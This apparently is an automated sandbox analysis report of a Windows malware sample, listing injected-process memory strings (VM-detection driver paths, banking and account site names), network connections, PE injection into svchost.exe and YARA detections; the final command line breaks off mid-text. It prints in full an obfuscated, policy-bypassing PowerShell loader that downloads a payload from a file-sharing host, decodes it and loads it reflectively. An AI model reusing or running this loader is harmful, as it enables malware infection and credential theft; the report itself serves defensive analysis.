Source: svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Vmwareuser
Source: svchost.exe, 0000000D.00000002.2565948471.00000000055FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q&C:\windows\System32\Drivers\VBoxSF.sys
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: svchost.exe, 0000000D.00000002.2565948471.00000000055FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q+C:\windows\System32\Drivers\VMToolsHook.dll
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: svchost.exe, 0000000D.00000002.2565948471.00000000055FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q)C:\windows\System32\Drivers\VBoxGuest.sys
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2565948471.00000000055FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q'C:\windows\System32\Drivers\Vmmouse.sys
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: svchost.exe, 0000000D.00000002.2564720567.000000000326D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllU
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxtrayOC:\windows\System32\Drivers\Vmmouse.sysMC:\windows\System32\Drivers\vm3dgl.dllMC:\windows\System32\Drivers\vmtray.dllWC:\windows\System32\Drivers\VMToolsHook.dllUC:\windows\System32\Drivers\vmmousever.dllSC:\windows\System32\Drivers\VBoxMouse.sysSC:\windows\System32\Drivers\VBoxGuest.sysMC:\windows\System32\Drivers\VBoxSF.sysSC:\windows\System32\Drivers\VBoxVideo.sysGC:\windows\System32\vboxservice.exe
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: svchost.exe, 0000000D.00000002.2565948471.00000000054F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: svchost.exe, 0000000D.00000002.2565948471.00000000055FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q*C:\windows\System32\Drivers\vmmousever.dll
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Vmtoolsd
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: svchost.exe, 0000000D.00000002.2565948471.00000000055FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q)C:\windows\System32\Drivers\VBoxMouse.sys
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: svchost.exe, 0000000D.00000002.2567382951.0000000006706000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: svchost.exe, 0000000D.00000002.2567382951.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Windows\SysWOW64\svchost.exe

API call chain: ExitProcess graph end node

graph_13-33772

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 13_2_090F9578 LdrInitializeThunk,

13_2_090F9578

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 13_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

13_2_0040CE09

Source: C:\Windows\SysWOW64\svchost.exe

13_2_004019F0

Source: C:\Windows\SysWOW64\svchost.exe

13_2_004019F0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 13_2_0040ADB0 GetProcessHeap,HeapFree,

13_2_0040ADB0

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_0040CE09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_0040E61C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_00416F6A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_004123F1 SetUnhandledExceptionFilter,	13_2_004123F1

Source: C:\Windows\SysWOW64\svchost.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 132.226.8.169 80	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 149.154.167.220 443	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 188.114.97.3 443	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 141.98.10.88 80	Jump to behavior

Yara detected Powershell decode and execute

Source: Yara match

File source: amsi64_3232.amsi.csv, type: OTHER

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_3232.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3232, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 41B000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 422000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 426000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: D94008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) \| . ( $pShoMe[4]+$PshoME[34]+'X')"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\SysWOW64\svchost.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnylpoaw1hz2vvcmwgpsbsckhodhrwczovlzewmtcuzmlszw1hawwuy29tl2fwas9mawxll2dldd9mawxla2v5ptjbjysnyv9iv285umv1nccrjzv0n0jvmwtwz3nkoxbuoxbnu1nsdln0jysnr3juveldzkzobvrlajnmqzztuxrjy09jx1qzjysnnxcmcgtfdmlkpwzkngy2mtriyjiwowm2mmmxnzmwotq1mtc2yta5mdrmifjysdtiwk53zwjdbgllbnqgpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50o2jatmltywdlqnl0zxmgpsbiwk53zwjdbgllbnqurg93bmxvywreyxrhkgjatmltywdlvxjskttiwk5pbwfnzvrlehqgpscrjybbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldfn0cmluzyhiwk5pbwfnzuj5dgvzkttiwk5zdgfydezsywcgpsbsckg8pejbu0u2nf9tvefsvd4+unjio2jatmvuzezsywcgpsbsckg8pejbu0u2nf9ftkq+pljysdtiwk5zdgfydeluzgv4id0gjysnylpoaw1hz2vuzxh0lkluzgv4t2yoylpoc3rhcnrgbgfnkttiwk5lbmrjbmrleca9igjatmltywdlvgv4dc5jbmqnkydlee9mkgjatmvuzezsyscrj2cpo2jatnn0yxj0sw5kzxgglwdlidaglwfuzcbiwk5lbmrjbmrlecatz3qgylpoc3rhcicrj3rjbicrj2rljysnedtiwk5zdgfydeluzgv4ics9igjatnn0yxj0rmxhzy5mzw5ndgg7ylpoymfzzty0tccrj2vuz3roid0gylpozw5ksw5kzxggjysnlsbiwk5zdgfyjysndeluzgv4o2jatmjhc2u2nenvbw1hbmqgpsbiwk5pbwfnjysnzvrlehquu3vic3ryascrj25nkgjatnn0yxj0sw5kzxgsigjatmjhc2u2nexlbmd0ack7ylpoymfzzty0uicrj2v2zxjzzwqgpsatam9pbiaoylpoymfzzty0q29tbwfuzc5ub0noyxjbcnjhesgpifpbuibgb3jfywnolu9iamvjdcb7igjatl8gjysnfslblteuli0oylpoymfzzty0q29tbwfuzc5mzw5ndggpxttiwk5jb21tyw5kqnl0zxmgpsbbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzty0u3ryaw5nkgjatmjhc2u2jysnnfjldmvyc2vkkttiwk5sb2fkzwrbc3nlbwjsesa9ifttexn0zw0uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqoylpoy29tjysnbwfuzej5dgvzkttiwk52ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkfjysfzbsvjysck7ylpodmfptwv0ag9klkludm9rzshiwk5udwxslcbakfjyshr4dc5mu1nxuy9rbg8vdwuuahn1chdzcmvsbccrj29ylnn1cc8vonb0dghsckgsifjysgrlc2f0axzhzg9sckgsifjyjysnsgrlc2f0axzhzg9sckgsifjysgrlc2f0axzhzg9sckgsifjysgrlc2f0axzhzg8nkydscicrj0gsifjysdfsckgsifjyshn2y2hvc3rsckgsifjysgrlc2f0axynkydhzg9sckgsifjysgrlc2f0jysnaxzhzg9sckgsunjizgvzyxrpjysndmfkb1jyscxsckhkzxnhdgl2ywrvunjilfjysgrlc2f0axzhzg9sckgsunjimvjyscxsckhkzxnhdgl2ywrvunjiksk7jyktq1jlcexbq2ugkftjsefyxtgyk1tjsefyxtexnctby0hbcl03miksw2niqxjdmzkgic1yrvbsqunfkftjsefyxtk4k1tjsefyxtkwk1tjsefyxtc4ksxby0hbcl0zniatq1jlcexbq2unwkfsjyxby0hbcl0xmjqpihwgliaoicrwu2hvtwvbnf0rjfbzag9nrvsznf0rj1gnkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('bznimageurl = rrhhttps://1017.filemail.com/api/file/get?filekey=2a'+'a_bwo9reu4'+'5t7bu1kvgsd9pt9pgsslvst'+'grnticffhmtkj3lc6sqticoc_t3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f rrh;bznwebclient = new-object system.net.webclient;bznimagebytes = bznwebclient.downloaddata(bznimageurl);bznimagetext ='+' [system.text.encoding]::utf8.getstring(bznimagebytes);bznstartflag = rrh<<base64_start>>rrh;bznendflag = rrh<<base64_end>>rrh;bznstartindex = '+'bznimagetext.indexof(bznstartflag);bznendindex = bznimagetext.ind'+'exof(bznendfla'+'g);bznstartindex -ge 0 -and bznendindex -gt bznstar'+'tin'+'de'+'x;bznstartindex += bznstartflag.length;bznbase64l'+'ength = bznendindex '+'- bznstar'+'tindex;bznbase64command = bznimag'+'etext.substri'+'ng(bznstartindex, bznbase64length);bznbase64r'+'eversed = -join (bznbase64command.tochararray() zar foreach-object { bzn_ '+'})[-1..-(bznbase64command.length)];bzncommandbytes = [system.convert]::frombase64string(bznbase6'+'4reversed);bznloadedassembly = [system.reflection.assembly]::load(bzncom'+'mandbytes);bznvaimethod = [dnlib.io.home].getmethod(rrhvairrh);bznvaimethod.invoke(bznnull, 